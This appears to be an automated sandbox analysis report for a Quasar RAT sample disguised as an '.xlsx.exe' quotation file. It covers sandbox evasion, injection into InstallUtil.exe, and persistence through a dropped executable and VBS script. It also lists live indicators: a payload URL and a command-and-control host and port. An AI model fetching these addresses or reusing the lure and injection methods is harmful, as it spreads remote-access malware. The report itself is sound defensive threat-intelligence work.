                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 96985Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 96860Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 96735Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 96610Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 96487Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 96360Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 96235Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 96110Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 95985Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 95860Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 95732Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 95625Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 95512Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 95396Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 95281Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 95172Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 95063Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 94953Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 94844Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 94719Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 94610Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 94485Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 94360Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeThread delayed: delay time: 94235Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 100000Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 99891Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 99766Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 99656Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 99547Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 99437Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 99328Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 99219Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 99071Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 98968Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 98857Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 98750Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 98640Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 98531Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 98422Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 98297Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 98187Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 98078Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 97969Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 97844Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 97734Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 97625Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 97516Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 97406Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 97297Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 97187Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 97065Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 96937Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 96828Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 96715Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 96609Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 96437Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 96325Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 96186Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 96078Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 95969Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 95859Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 95739Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 95624Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 95515Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 95406Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 95297Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 95187Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 95078Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 94968Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 94859Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 94750Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeThread delayed: delay time: 94641Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1539628168.0000000000A6A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll5
                Source: RealErrorObject.exe, 00000005.00000002.1821278737.0000000002EAA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SerialNumber0VMware|VIRTUAL|A M I|XenDselect * from Win32_ComputerSystem
                Source: InstallUtil.exe, 00000003.00000002.2631689011.0000000006446000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2616964238.0000000001592000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2629513112.0000000005B87000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                Source: RealErrorObject.exe, 00000005.00000002.1821278737.0000000002EAA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: model0Microsoft|VMWare|Virtual
                Source: RealErrorObject.exe, 00000005.00000002.1818272290.0000000001176000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory allocated: page read and write | page guardJump to behavior

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Injects a PE file into a foreign processes
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5AJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 720000Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 722000Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1188008Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 720000Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 722000Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 85C008Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"Jump to behavior
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Roaming\RealErrorObject.exe "C:\Users\user\AppData\Roaming\RealErrorObject.exe" Jump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"Jump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeQueries volume information: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformationJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeQueries volume information: C:\Users\user\AppData\Roaming\RealErrorObject.exe VolumeInformationJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected Quasar RAT
                Source: Yara matchFile source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.1830201966.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.2617888276.000000000353A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1541050756.0000000002D86000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.1843673072.0000000004745000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.1821278737.0000000003258000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: RFQ 9-XTC-204-60THD.xlsx.exe PID: 7488, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 7792, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: RealErrorObject.exe PID: 7996, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 8184, type: MEMORYSTR

                Remote Access Functionality

                barindex
                Yara detected Quasar RAT
                Source: Yara matchFile source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.1830201966.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.2617888276.000000000353A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1541050756.0000000002D86000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.1843673072.0000000004745000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.1821278737.0000000003258000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: RFQ 9-XTC-204-60THD.xlsx.exe PID: 7488, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 7792, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: RealErrorObject.exe PID: 7996, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 8184, type: MEMORYSTR

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity Information111
                Scripting                		Valid Accounts21
                Windows Management Instrumentation                		111
                Scripting                		211
                Process Injection                		11
                Masquerading                		OS Credential Dumping211
                Security Software Discovery                		Remote Services1
                Archive Collected Data                		11
                Encrypted Channel                		Exfiltration Over Other Network MediumAbuse Accessibility Features
                CredentialsDomainsDefault Accounts1
                Scheduled Task/Job                		1
                Scheduled Task/Job                		1
                Scheduled Task/Job                		1
                Disable or Modify Tools                		LSASS Memory1
                Process Discovery                		Remote Desktop ProtocolData from Removable Media1
                Non-Standard Port                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAt21
                Registry Run Keys / Startup Folder                		21
                Registry Run Keys / Startup Folder                		41
                Virtualization/Sandbox Evasion                		Security Account Manager41
                Virtualization/Sandbox Evasion                		SMB/Windows Admin SharesData from Network Shared Drive1
                Ingress Tool Transfer                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCron1
                DLL Side-Loading                		1
                DLL Side-Loading                		211
                Process Injection                		NTDS1
                Application Window Discovery                		Distributed Component Object ModelInput Capture2
                Non-Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                Hidden Files and Directories                		LSA Secrets1
                System Network Configuration Discovery                		SSHKeylogging113
                Application Layer Protocol                		Scheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts12
                Obfuscated Files or Information                		Cached Domain Credentials1
                File and Directory Discovery                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                Software Packing                		DCSync23
                System Information Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                DLL Side-Loading                		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1567424 Sample: RFQ 9-XTC-204-60THD.xlsx.exe Startdate: 03/12/2024 Architecture: WINDOWS Score: 100 29 ert43w221.ydns.eu 2->29 31 www.oleonidas.gr 2->31 33 4 other IPs or domains 2->33 51 Suricata IDS alerts for network traffic 2->51 53 Found malware configuration 2->53 55 Malicious sample detected (through community Yara rule) 2->55 57 16 other signatures 2->57 8 RFQ 9-XTC-204-60THD.xlsx.exe 15 5 2->8         started        13 wscript.exe 1 2->13         started        signatures3 process4 dnsIp5 35 oleonidas.gr 185.78.221.73, 443, 49712, 49777 IPHOSTGRIpDomainGR Greece 8->35 23 C:\Users\user\AppData\...\RealErrorObject.exe, PE32 8->23 dropped 25 C:\...\RealErrorObject.exe:Zone.Identifier, ASCII 8->25 dropped 27 C:\Users\user\AppData\...\RealErrorObject.vbs, ASCII 8->27 dropped 59 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 8->59 61 Writes to foreign memory regions 8->61 63 Injects a PE file into a foreign processes 8->63 15 InstallUtil.exe 15 2 8->15         started        65 Windows Scripting host queries suspicious COM object (likely to drop second stage) 13->65 19 RealErrorObject.exe 14 2 13->19         started        file6 signatures7 process8 dnsIp9 37 ert43w221.ydns.eu 69.174.99.131, 49759, 6298 ASN-QUADRANET-GLOBALUS United States 15->37 39 ipwho.is 103.126.138.87, 443, 49771 AS40676US United States 15->39 41 Hides that the sample has been downloaded from the Internet (zone.identifier) 15->41 43 Multi AV Scanner detection for dropped file 19->43 45 Machine Learning detection for dropped file 19->45 47 Writes to foreign memory regions 19->47 49 Injects a PE file into a foreign processes 19->49 21 InstallUtil.exe 3 19->21         started        signatures10 process11

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                RFQ 9-XTC-204-60THD.xlsx.exe42%ReversingLabsWin32.Trojan.Generic
                RFQ 9-XTC-204-60THD.xlsx.exe100%Joe Sandbox ML

                Dropped Files

                SourceDetectionScannerLabelLink
                C:\Users\user\AppData\Roaming\RealErrorObject.exe100%Joe Sandbox ML
                C:\Users\user\AppData\Roaming\RealErrorObject.exe42%ReversingLabsWin32.Trojan.Generic

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                https://www.oleonidas.gr/elioz/Ncvotkdidv.mp3=Unable0%Avira URL Cloudsafe
                https://www.oleonidas.gr/elioz/Ncvotkdidv.mp3100%Avira URL Cloudmalware
                ert43w221.ydns.eu100%Avira URL Cloudmalware

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                oleonidas.gr
                		185.78.221.73
                		truefalse
                  		high
                  ipwho.is
                  		103.126.138.87
                  		truefalse
                    		high
                    s-part-0035.t-0009.t-msedge.net
                    		13.107.246.63
                    		truefalse
                      		high
                      ert43w221.ydns.eu
                      		69.174.99.131
                      		truetrue
                        		unknown
                        default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com
                        		84.201.208.99
                        		truefalse
                          		high
                          www.oleonidas.gr
                          		unknown
                          		unknownfalse
                            		high

                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            ert43w221.ydns.eutrue
                            • Avira URL Cloud: malware
                            		unknown
                            https://ipwho.is/false
                              		high
                              https://www.oleonidas.gr/elioz/Ncvotkdidv.mp3false
                              • Avira URL Cloud: malware
                              		unknown

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              https://api.ipify.org/RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                		high
                                http://schemas.datacontract.org/2004/07/dInstallUtil.exe, 00000003.00000002.2617888276.000000000353A000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://github.com/mgravell/protobuf-netiRFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
